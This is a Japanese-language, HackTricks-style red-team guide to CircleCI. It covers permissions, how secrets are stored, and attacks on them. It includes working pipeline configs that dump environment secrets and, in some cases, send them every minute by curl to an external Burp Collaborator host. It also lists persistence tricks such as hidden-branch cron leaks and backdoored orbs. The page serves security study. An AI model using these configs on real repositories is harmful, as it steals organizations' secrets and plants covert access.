CircleCI Security

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

基本情報

CircleCI は、テンプレートを定義して何を行い、いつ行うかを示すことができる継続的インテグレーションプラットフォームです。これにより、リポジトリのマスターブランチから直接 テストデプロイメントを自動化できます。

権限

CircleCI は、ログインしたアカウントに関連するgithubおよびbitbucketの権限を継承します。 私のテストでは、githubのリポジトリに書き込み権限がある限りCircleCIでそのプロジェクトの設定を管理できることを確認しました(新しいsshキーを設定したり、プロジェクトのAPIキーを取得したり、新しいCircleCI構成を持つ新しいブランチを作成したり...)。

ただし、リポジトリの管理者である必要がありますリポジトリをCircleCIプロジェクトに変換するために。

環境変数とシークレット

ドキュメントによると、ワークフロー内で環境変数に値をロードするための異なる方法があります。

組み込み環境変数

CircleCIによって実行されるすべてのコンテナには、常にドキュメントで定義された特定の環境変数が含まれます。例: CIRCLE_PR_USERNAMECIRCLE_PROJECT_REPONAMECIRCLE_USERNAME

平文

コマンド内で平文で宣言することができます。

- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

run environment 内で明確なテキストで宣言することができます。

- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

build-job environment 内で明確なテキストで宣言することができます。

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

コンテナの環境内で明確なテキストで宣言することができます。

jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

プロジェクトの秘密

これらはプロジェクトによってのみアクセス可能な秘密です(どのブランチでも)。 これらは_https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables_で宣言されているのを見ることができます。

"Import Variables"機能を使用すると、他のプロジェクトからこのプロジェクトに変数をインポートできます。

コンテキストの秘密

これらは組織全体で共有される秘密です。デフォルトでは、どのリポジトリでもここに保存された秘密にアクセスできます。

ただし、すべてのメンバーの代わりに異なるグループを選択して、特定の人にのみ秘密へのアクセスを許可することができます。 これは現在、秘密のセキュリティを向上させる最良の方法の1つであり、誰もがアクセスできるのではなく、一部の人だけがアクセスできるようにします。

攻撃

明文テキストの秘密を検索

VCS(たとえばgithub)にアクセス権がある場合、各リポジトリの各ブランチの.circleci/config.ymlファイルをチェックし、そこに保存されている潜在的な明文テキストの秘密検索します。

Secret Env Vars & コンテキストの列挙

コードをチェックすると、各.circleci/config.ymlファイルで使用されているすべての秘密の名前を見つけることができます。また、これらのファイルからコンテキストの名前を取得するか、Webコンソールで確認できます:https://app.circleci.com/settings/organization/github/<org_name>/contexts

プロジェクトの秘密を外部流出

プロジェクトとコンテキストのすべての秘密外部流出するには、github組織全体の1つのリポジトリ書き込みアクセスが必要です(そしてあなたのアカウントはデフォルトですべてのコンテキストにアクセスできます)。

"Import Variables"機能を使用すると、他のプロジェクトからこのプロジェクトに変数をインポートできます。したがって、攻撃者はすべてのリポジトリからすべてのプロジェクト変数をインポートし、それらを一緒に外部流出することができます。

すべてのプロジェクトの秘密は常にジョブの環境に設定されているため、envを呼び出してそれをbase64で難読化するだけで、秘密がワークフローのWebログコンソールに外部流出されます:

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

もしWebコンソールにアクセスできないが、リポジトリにアクセスでき、CircleCIが使用されていることを知っている場合は、単に1分ごとにトリガーされるワークフロー作成して、シークレットを外部アドレスに漏洩させることができます。

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

コンテキストのシークレットを流出させる

コンテキスト名を指定する必要があります(これによりプロジェクトのシークレットも流出します):

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

もしWebコンソールにアクセスできないが、リポジトリにアクセスでき、CircleCIが使用されていることを知っている場合、1分ごとにトリガーされるワークフローを変更して、シークレットを外部アドレスに漏洩させることができます。

version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

新しい.circleci/config.ymlをリポジトリに作成するだけでは、CircleCIのビルドをトリガーするには十分ではありませんCircleCIコンソールでプロジェクトとして有効にする必要があります

クラウドへの脱出

CircleCI は、ビルドを彼らのマシンで実行するか、独自のマシンで実行するかのオプションを提供します。 デフォルトでは、彼らのマシンはGCPにあり、最初は関連する情報を見つけることはできません。ただし、被害者が独自のマシン(おそらくクラウド環境で)でタスクを実行している場合興味深い情報が含まれているクラウドメタデータエンドポイントを見つけることができるかもしれません。

前の例ではすべてがDockerコンテナ内で起動されましたが、VMマシンを起動するように依頼することもできます(異なるクラウド権限を持つ場合があります):

jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

または、リモートDockerサービスへのアクセス権を持つDockerコンテナーです:

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

永続性

  • CircleCIでユーザートークンを作成して、ユーザーアクセスでAPIエンドポイントにアクセスすることが可能です。

  • https://app.circleci.com/settings/user/tokens

  • プロジェクトトークンを作成して、トークンに与えられた権限でプロジェクトにアクセスすることが可能です。

  • https://app.circleci.com/settings/project/github/<org>/<repo>/api

  • プロジェクトにSSHキーを追加することが可能です。

  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh

  • 予期せぬプロジェクトで隠しブランチにクーロンジョブを作成し、毎日すべてのコンテキスト環境変数を漏洩させることが可能です。

  • または、コンテキストとプロジェクトのシークレットを毎日漏洩させる既知のジョブをブランチに作成/変更することも可能です。

  • GitHubの所有者であれば、未検証のorbを許可し、ジョブでバックドアとして構成することが可能です。

  • 特定のタスクでコマンドインジェクションの脆弱性を見つけ、シークレットの値を変更してコマンドをインジェクトすることが可能です。

最終更新